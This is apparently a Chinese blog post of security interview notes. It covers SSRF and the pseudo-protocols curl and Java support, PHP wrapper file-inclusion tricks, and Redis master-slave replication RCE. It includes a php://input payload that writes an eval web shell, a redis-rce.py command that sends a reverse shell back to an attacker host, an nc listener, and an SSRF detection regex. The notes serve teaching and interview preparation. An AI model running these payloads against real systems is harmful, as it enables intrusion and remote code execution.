一些面试题的了解

SSRF的利用

发现直接不提了

功能:
  1. 内网端口刺探

  2. 内网http流量带出

  3. 任意文件下载,可能的利用,在curl导致

    1581943216814

支持的伪协议

若由curl导致的SSRF,则其支持的伪协议有 dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp 。我们再来看几个常见的,例如 dict 字典协议,这个协议可以获取到指定端口的一些信息。

具体可使用curl -V查看(php)

若在JAVA

import sun.net.www.protocol可以看到,支持以下协议

 **file ftp mailto http https jar netdoc**

如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。

比如:

1
2
3
4
HttpURLConnection
HttpClient
Request
okhttp

如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议

1
2
URLConnection
URL

参照:https://xz.aliyun.com/t/206/

具体原因不同的函数支持的传入参数不一致。具体代码举例跳过。

SSRF正则表达式检测:

(?:HttpURLConnection)|(?:URLConnection)|(?:ImageIO)|(?:Request.Get)|(?:.openStream)|(?:OkHttpClient))|(?:HttpClients)

绕过

1581943469141

PHP伪协议

应该说这里的利用属于任意文件包含内容

1581944615448

这里不提直接包含法(利用其它文件上传+包含点形成shell 使用zip或者phar伪协议即可)

allow_url_include=On

allow_url_fopen=On

​ data://text/plain,

​ test/plain, 后面的值会被当做php代码执行

allow_url_include=On

allow_url_fopen=Off

先使用php://input在POST的body写为 <?php fputs(fopen(‘/root/hello/shell.php’,’w’),’<?php @eval($_POST[v]);?>’)?>

在使用filter连接该php来执行(不用知道网站绝对路径)

PS: 将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

1
2
3
4
#file
http://xxxxx/test.php?file=file:///root/hello/shell.php
#php://filter
http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php

allow_url_include=Off

allow_url_fopen=On

只能使用 php://filter伪协议来读文件再进行下一步了。

Redis主从复制

假设只有redis服务,没有ssh等服务(docker),比起以前的写文件利用方式来说,这种利用方式更为通用,危害也更大。

主从复制:

主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

模块功能

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件

要求 在redis.conf文件里关闭保护模式

redis-cli -h 192.168.119.155

redis command:》slaveof 192.168.119.158 6379

连接redis表明主从状态

利用 直接脚本编译拿回显shell

git clone https://github.com/RicterZ/RedisModules-ExecuteCommand

make

生成so文件(模块功能)

1581946333563

git clone https://github.com/Ridter/redis-rce

然后执行exp脚本

python redis-rce.py -r 192.168.119.155 -L 192.168.119.158 -f module.so

1581946369514

默认反弹在-L参数的4444端口 使用nc接shell就行。

location.href .search .hash区别

.href 取全部的连接

.search 取?以及后面的部分

.hash 取#以及#后面的部分(不经过服务器)

本文标题:一些面试题的了解

文章作者:

发布时间:2020年02月17日 - 20:36:51

最后更新:2020年02月18日 - 17:54:32

原始链接:http://laker.xyz/2020/02/17/%E4%B8%80%E4%BA%9B%E9%9D%A2%E8%AF%95%E9%A2%98%E7%9A%84%E4%BA%86%E8%A7%A3/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。